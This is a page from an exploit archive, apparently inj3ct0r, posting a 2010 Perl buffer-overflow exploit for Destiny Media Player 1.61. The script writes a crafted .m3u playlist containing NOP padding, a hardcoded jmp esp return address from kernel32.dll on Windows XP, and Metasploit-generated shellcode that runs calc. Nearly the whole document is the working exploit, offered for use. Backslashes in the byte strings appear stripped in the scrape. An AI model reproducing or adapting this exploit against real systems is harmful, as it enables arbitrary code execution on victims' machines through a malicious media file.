Home / os / win7

Destiny Media Player 1.61 (.m3u/.lst) Buffer Overflow Exploi

Posted on 07 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Destiny Media Player 1.61 (.m3u/.lst) Buffer Overflow Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================================
Destiny Media Player 1.61 (.m3u/.lst) Buffer Overflow Exploit
=============================================================

#!/usr/bin/perl
# Destiny Media Player 1.61 (.m3u/.lst) Buffer Overflow Exploit(.pl)
# Exploit Coded By ZoRLu / admin@yildirimordulari.com
# Date: 07/08/2010
# Tested on my XP pc:  http://img530.imageshack.us/img530/336/dest.jpg
# Home: z0rlu.blogspot.com
# Home: imhatimi.org
# Thanks: inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N
 
my $karala  = &quot;x90&quot; x 2052;
#C:Documents and SettingsAdministratorDesktopfind&gt;Findjmp.exe kernel32.dll esp
#0x7C86467B      jmp esp
my $blah = &quot;x7Bx46x86x7C&quot;;  
my $fiytiripat = &quot;x90&quot; x 12;
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
&quot;x31xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13x38&quot;.
&quot;x78x73x8ax83xebxfcxe2xf4xc4x90x37x8ax38x78xf8xcf&quot;.
&quot;x04xf3x0fx8fx40x79x9cx01x77x60xf8xd5x18x79x98xc3&quot;.
&quot;xb3x4cxf8x8bxd6x49xb3x13x94xfcxb3xfex3fxb9xb9x87&quot;.
&quot;x39xbax98x7ex03x2cx57x8ex4dx9dxf8xd5x1cx79x98xec&quot;.
&quot;xb3x74x38x01x67x64x72x61xb3x64xf8x8bxd3xf1x2fxae&quot;.
&quot;x3cxbbx42x4ax5cxf3x33xbaxbdxb8x0bx86xb3x38x7fx01&quot;.
&quot;x48x64xdex01x50x70x98x83xb3xf8xc3x8ax38x78xf8xe2&quot;.
&quot;x04x27x42x7cx58x2exfax72xbbxb8x08xdax50x88xf9x8e&quot;.
&quot;x67x10xebx74xb2x76x24x75xdfx1bx12xe6x5bx78x73x8a&quot;;

open(myfile,'&gt;&gt;zrl.m3u');
print myfile $karala.$blah.$fiytiripat.$shellcode;
close(myfile)


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :